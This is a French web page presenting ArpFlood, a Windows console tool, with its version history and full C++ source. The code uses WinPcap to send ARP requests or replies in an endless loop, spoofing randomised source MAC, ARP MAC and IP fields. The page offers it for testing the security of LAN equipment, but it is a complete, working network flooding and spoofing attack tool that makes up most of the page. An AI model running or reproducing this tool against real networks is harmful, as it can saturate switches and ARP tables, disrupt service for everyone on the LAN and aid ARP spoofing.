Outil d’attaque par saturation de requete ARP

Outil d’attaque par saturation de requete ARP

1 – Définition de l’exécutable

L’utilitaire ArpFlood permet l’envoi massif de demande ou de réponse ARP. Ainsi il sera facile de tester et valider la bonne sécurisation de ses équipements LAN Ethernet.

2 – Screen shot

arpflood screen shot

3 – Download

Nom : ArpFlood.exe
Mode : Console
Version : 1.1
Librairie : 3.11
Taille : 60 Ko
Auteur : _SebF
Date de création : 02 Novembre 2006
Dernière compilation : 07 Décembre 2006

4 – Suivi du développement

4.1 – Problème restant

4.2 – RoadMap

4.3 – Suivi du projet

  • V1.1.3.11
    Ajout des arguments -arp_opocode, -arp_mac_source, -arp_ip_source, -arp_mac_destination et -arp_ip_destination
    Affectation à chacun de la possibilité de spécifier 0 afin d’obtenir un triage aléatoire
  • V1.0.3.10
    Ajout de l’argument -mac_source permettant le tirage aléatoire de l’adresse MAC
    Passage de l’entête ARP en data_hexa
    Création du projet Cmd, Level 4, compilation en mode Release.

5 – Code source

5.1 – ArpFlood.cpp

// ********************************************
// Nom : ArpFlood.cpp
// Auteur : sebastien.fontaine@authsecu.com.pas.de.spam
// Date de création : 02 Novembre 2006
// version : 1.1.3.11
// Licence : Cette executable est libre de toute utilisation.
//           La seule condition existante est de faire référence
//           au site http://www.authsecu.com afin de respecter le travail d'autrui.
// ********************************************

// ********************************************************
// Les includes
// ********************************************************
// Il faut ajouter dans les proprités du projet => C++ => Command Line :
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairieSocket"
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Include"
#include "LibrairieSocket.h"
#include "pcap.h"

// ********************************************************
// Les Librairies
// ********************************************************
// Il faut ajouter dans les proprités du projet => Linker => Command Line :
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Lib"
// /NODEFAULTLIB:libcd.lib
// /NODEFAULTLIB:LIBCMTD.lib
#pragma comment(lib,"Packet.lib")
#pragma comment(lib,"wpcap.lib")

// ********************************************************
// Les procédures
// ********************************************************
void initiation_des_variables(void);
void gestion_des_arguments(int argc, char* argv[]);
void Changement_aleatoire_des_valeurs(void);
void envoi_de_la_trame_winsock(void);
void envoi_de_la_trame_pcap(void);
void affichage_du_resultat(void);

// ********************************************************
// Les variables
// ********************************************************
struct mac entete_mac;                                    // Entête Ethernet
struct arp entete_arp;                                      // Entête ARP
char arp_ip_source[16];
char arp_ip_destination[16];
char data_a_envoyer[65535];                         // Data
unsigned int taille_de_data;                  // Longueur du char *, je n'utilise pas strlen car il peux y avoir des 0
unsigned char trame_a_envoyer[65535]; // data + entete ethernet
unsigned short taille_de_la_trame_a_envoyer=0; // Permet d'éviter un sizeof qui s'arrête au premier 0 trouvé

int nombre_de_caractere_emis;                       // Variable récupérant le nombre de caractères émis
unsigned long loops;                                        // Compteur permettant de lancer x fois les trames
bool bouclage_infinie;                                      // Variable permettant de définir le mode de boucle infinie (quand loops=0)
unsigned char numero_de_l_interface; // Numéro de l'interface qui sera utilisée
struct gestion_des_interfaces liste_des_interfaces; // structure possédant les informations des intefaces
struct adresse_mac adresse_mac_tampon; // Adresse MAC
bool mac_source_aleatoire;                             // Variable permettant de savoir si l'adresse MAC source doit être tirée aléatoirement
bool arp_mac_source_aleatoire;                      // Variable permettant de savoir si l'adresse MAC source doit être tirée aléatoirement
bool arp_ip_source_aleatoire;              // Variable permettant de savoir si on doit tirer aléatoirement une adresse IP
bool arp_mac_destination_aleatoire;    // Variable permettant de savoir si l'adresse MAC destination doit être tirée aléatoirement
bool arp_ip_destination_aleatoire;  // Variable permettant de savoir si on doit tirer aléatoirement une adresse IP
bool view;                                                                              // Variable indiquant si on doit afficher les resultats

pcap_t *pointeur_interface;                             // Pointeur de l'interface
char buffer_d_erreur[PCAP_ERRBUF_SIZE]; 

int main (int argc, char* argv[])
            {
            initiation_des_variables();
            gestion_des_arguments(argc,argv);

            // ********************************************************
            // Accède à l'interface
            // ********************************************************
            if ((pointeur_interface=pcap_open_live( liste_des_interfaces.nom[numero_de_l_interface],65536,0, 1000,buffer_d_erreur))==NULL)
                        gestion_des_erreurs(1,"pcap_open_live",1,1);
                        
            // ********************************************************
            // Boucle d'envoi
            // ********************************************************
            while ( (loops!=0)||(bouclage_infinie==TRUE) )
                        {
                        // ********************************************************
                        // Décrémentation de la boucle
                        // ********************************************************
                        loops--;
                        
                        // ********************************************************
                        // Changement aléatoire des champs
                        // ********************************************************
                        Changement_aleatoire_des_valeurs();

                        // ********************************************************
                        // Envoi de la trame
                        // ********************************************************
                        envoi_de_la_trame_pcap();

                        // ********************************************************
                        // Affichage du résultat
                        // ********************************************************
                        if (view==true)
                                   affichage_du_resultat();
                        }

            // ********************************************************
            // Fermeture de l'accès à l'interface
            // ********************************************************
            pcap_close(pointeur_interface);           
                        
            printf("\n\n");
            return(1);
            }

void initiation_des_variables(void)
            {
            unsigned i;
            
            // ********************************************************
            // Initiation diverse
            // ********************************************************
            srand(GetTickCount());                                   // Initialise le Random
                        
            // ********************************************************
            // Affichage de la banniere
            // ********************************************************
            printf("\nArpFlood -  Send ArpRequest with spoofing MAC Source - Version 1.1.3.11");
            printf("\nCreate on November 02, 2006, Last compilation on December 11, 2006");
            printf("\nCreated by sebastien.fontaine@authsecu.com");
            printf("\n");

            // ********************************************************
            // Initiation des arguments
            // ********************************************************
            loops=1;
            bouclage_infinie=FALSE;
            numero_de_l_interface=0;
            liste_des_interfaces=recuperation_des_interfaces();
            view=true;

            // ********************************************************
            // Options de l'entête MAC
            // ********************************************************
            adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
            for (i=0;i<6;i++)
                        {
                        entete_mac.source[i]=0;
                        entete_mac.destination[i]=255;
                        }
            mac_source_aleatoire=true;
            entete_mac.type=htons(2054); // 08 06 indiquant un datagramme ARP

            // ********************************************************
            // Options de l'entête ARP
            // ********************************************************
            entete_arp.mac_type=htons(1);
            entete_arp.protocol_type=htons(2048);
            entete_arp.mac_taille=6;
            entete_arp.protocol_taille=4;
            entete_arp.opocode=htons(1);
            arp_mac_source_aleatoire=true;
            for (i=0;i<6;i++)
                        entete_arp.mac_source[i]=0;
            strcpy(arp_ip_source,"0.0.0.0");
            entete_arp.ip_source=resolution_de_nom(TRUE,arp_ip_source);
            arp_ip_source_aleatoire=true;
            arp_mac_destination_aleatoire=true;
            for (i=0;i<6;i++)
                        entete_arp.mac_destination[i]=0;
            strcpy(arp_ip_destination,"0.0.0.0");
            entete_arp.ip_destination=resolution_de_nom(TRUE,arp_ip_destination);
            arp_ip_destination_aleatoire=true;

            // ********************************************************
            // Initialisation des data
            // ********************************************************
            strcpy(data_a_envoyer,"www.frameip.com");
            taille_de_data=(unsigned int)strlen(data_a_envoyer);
            }

void gestion_des_arguments(int argc,char* argv[])
            {
            char *caractere_non_convertit;
            int i,j;

            // ********************************************************
            // Affichage de l'aide
            // ********************************************************
            if ( (argc>1) && (strcmp(argv[1],"-?")==0) || (argc==1) )
                        {
                        printf("\n");
                        printf("\nGENERAL OPTIONS");
                        printf("\n-?                    This help");
                        printf("\n-loops                Number of loops    Default: %d (0 => no stop)",loops);
                        printf("\n-view                 Show the answers   Default: %d",view);

                        printf("\n\nFREE INTERFACES");
                        for(i=0;i<(signed)liste_des_interfaces.nombre;i++)
                                   printf("\n%d - %s",i,liste_des_interfaces.description[i]);
                        printf("\n-interface            Interface choice   Default: %d",numero_de_l_interface);

                        printf("\n\nETHERNET HEADER OPTIONS (-send_mode 1)");
                        printf("\n-mac_source            0 => Random @MAC  Default: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_mac.source[0], entete_mac.source[2],entete_mac.source[2], entete_mac.source[3],entete_mac.source[4],entete_mac.source[5]);

                        printf("\n\nARP HEADER OPTIONS (-mac_type 2054)");
                        printf("\n-arp_opocode           Operation type    Default: %d (1=>Request; 2=>Answer)",entete_arp.opocode);
                        printf("\n-arp_mac_source        0 => Random @MAC  Default: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_arp.mac_source[0], entete_arp.mac_source[1],entete_arp.mac_source[2], entete_arp.mac_source[3],entete_arp.mac_source[4], entete_arp.mac_source[5]);
                        printf("\n-arp_ip_source         0 => random @IP   Default: %s",arp_ip_source);
                        printf("\n-arp_mac_destination   0 => Random @MAC  Default: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_arp.mac_destination[0], entete_arp.mac_destination[1],entete_arp.mac_destination[2], entete_arp.mac_destination[3],entete_arp.mac_destination[4], entete_arp.mac_destination[5]);
                        printf("\n-arp_ip_destination    0 => random @IP   Default: %s",arp_ip_destination);

                        printf("\n\nSAMPLE");
                        printf("\narpflood.exe -interface 2 -loops 0 -view 1");
                        printf("\n\n");
                        exit(0);
                        }

            // ********************************************************
            // Récupération des arguments
            // ********************************************************
            for (i=1;i<argc;i=i+1)
                        {
                        // ********************************************************
                        // Choix généraux
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-loops")==0) || (strcmp(strlwr(argv[i]),"/loops")==0) )
                                   {
                                   loops=(unsigned long)strtod(argv[i+1],&caractere_non_convertit);
                                   if (loops==0)
                                               bouclage_infinie=TRUE;
                                   else
                                               bouclage_infinie=FALSE;
                                   }
                        if ( (strcmp(strlwr(argv[i]),"-view")==0) || (strcmp(strlwr(argv[i]),"/view")==0) )
                                   view=(bool)strtod(argv[i+1],&caractere_non_convertit);

                        // ********************************************************
                        // Choix de l'interface
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-interface")==0) || (strcmp(strlwr(argv[i]),"/interface")==0) )
                                   numero_de_l_interface=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);

                        // ********************************************************
                        // Options de l'entête MAC
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-mac_source")==0) || (strcmp(strlwr(argv[i]),"/mac_source")==0) )
                                   {
                                   adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
                                   for (j=0;j<6;j++)
                                               {
                                               entete_mac.source[j]=adresse_mac_tampon.adresse[j];
                                               if (entete_mac.source[j]!=0)
                                                           mac_source_aleatoire=false;
                                               }
                                   }

                        // ********************************************************
                        // Options de l'entête ARP
                        // ********************************************************
                        if ( (stricmp(argv[i],"-arp_opocode")==0) || (stricmp(argv[i],"/arp_opocode")==0) )
                                   {
                                   entete_arp.opocode=(unsigned short)strtod(argv[i+1],&caractere_non_convertit);
                                   if (entete_arp.opocode==2)
                                               entete_arp.opocode=htons(2);
                                   else
                                               entete_arp.opocode=htons(1);
                                   }
                        if ( (stricmp(argv[i],"-arp_mac_source")==0) || (stricmp(argv[i],"/arp_mac_source")==0) )
                                   {
                                   adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
                                   for (j=0;j<6;j++)
                                               {
                                               entete_arp.mac_source[j]=adresse_mac_tampon.adresse[j];
                                               if (entete_arp.mac_source[j]!=0)
                                                           arp_mac_source_aleatoire=false;
                                               }
                                   }
                        if ( (stricmp(argv[i],"-arp_ip_source")==0) || (stricmp(argv[i],"/arp_ip_source")==0) )
                                   {
                                   entete_arp.ip_source=(unsigned long)resolution_de_nom(false,argv[i+1]);
                                   if (entete_arp.ip_source!=0)
                                               arp_ip_source_aleatoire=false;
                                   }
                        if ( (stricmp(argv[i],"-arp_mac_destination")==0) || (stricmp(argv[i],"/arp_mac_destination")==0) )
                                   {
                                   adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
                                   for (j=0;j<6;j++)
                                               {
                                               entete_arp.mac_destination[j]=adresse_mac_tampon.adresse[j];
                                               if (entete_arp.mac_destination[j]!=0)
                                                           arp_mac_destination_aleatoire=false;
                                               }
                                   }
                        if ( (stricmp(argv[i],"-arp_ip_destination")==0) || (stricmp(argv[i],"/arp_ip_destination")==0) )
                                   {
                                   entete_arp.ip_destination=(unsigned long)resolution_de_nom(false,argv[i+1]);
                                   if (entete_arp.ip_destination!=0)
                                               arp_ip_destination_aleatoire=false;
                                   }
                        }
            }

void Changement_aleatoire_des_valeurs()
            {
            unsigned int i;

            // ********************************************************
            // Tirage aléatoire de l'adresse MAC
            // ********************************************************
            if (mac_source_aleatoire==true)
                        for (i=0;i<6;i++)
                                   entete_mac.source[i]=(unsigned char)rand()%256;
            if (arp_mac_source_aleatoire==true)
                        for (i=0;i<6;i++)
                                   entete_arp.mac_source[i]=(unsigned char)rand()%256;
            if (arp_mac_destination_aleatoire==true)
                        for (i=0;i<6;i++)
                                   entete_arp.mac_destination[i]=(unsigned char)rand()%256;

            // ********************************************************
            // Tirage aléatoire des adresses IP
            // ********************************************************
            if (arp_ip_source_aleatoire==true)
                        entete_arp.ip_source=generation_d_une_adresse_ip_aleatoire(0);
            if (arp_ip_destination_aleatoire==true)
                        entete_arp.ip_destination=generation_d_une_adresse_ip_aleatoire(0);
            }

void envoi_de_la_trame_pcap(void)
            {
            // ********************************************************
            // Préparation de la trame à envoyé
            // ********************************************************
            memcpy(trame_a_envoyer,(unsigned short *)&entete_mac,sizeof(struct mac));
            memcpy(trame_a_envoyer+sizeof(struct mac),(unsigned short *)&entete_arp,sizeof(struct arp));   
            memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct arp),data_a_envoyer,taille_de_data);

            // ********************************************************
            // Envoi de la trame
            // ********************************************************
            taille_de_la_trame_a_envoyer=sizeof(struct mac)+sizeof(struct arp)+(unsigned short)taille_de_data;
            if(pcap_sendpacket(pointeur_interface,trame_a_envoyer,taille_de_la_trame_a_envoyer)!=0)
                        gestion_des_erreurs(1,"pcap_sendpacket",1,1);                      
            }

void affichage_du_resultat()
            {
            // ********************************************************
            // Affichage du resultat
            // ********************************************************
            printf("\nARP frame was sent from %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_mac.source[0],entete_mac.source[1], entete_mac.source[2],entete_mac.source[3], entete_mac.source[4], entete_mac.source[5]);
            printf(" to %.2X-%.2X-%.2X-%.2X-%.2X-%.2X with %d Bytes",entete_mac.destination[0], entete_mac.destination[1],entete_mac.destination[2], entete_mac.destination[3], entete_mac.destination[4],entete_mac.destination[5], taille_de_la_trame_a_envoyer);
            }

6 – Discussion autour de l’outil d’attaque par saturation de requete ARP

Vous pouvez poser toutes vos questions, faire part de vos remarques et partager vos expériences à propos de l’outil d’attaque par saturation de requete ARP. Pour cela, n’hésitez pas à laisser un commentaire ci-dessous :

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *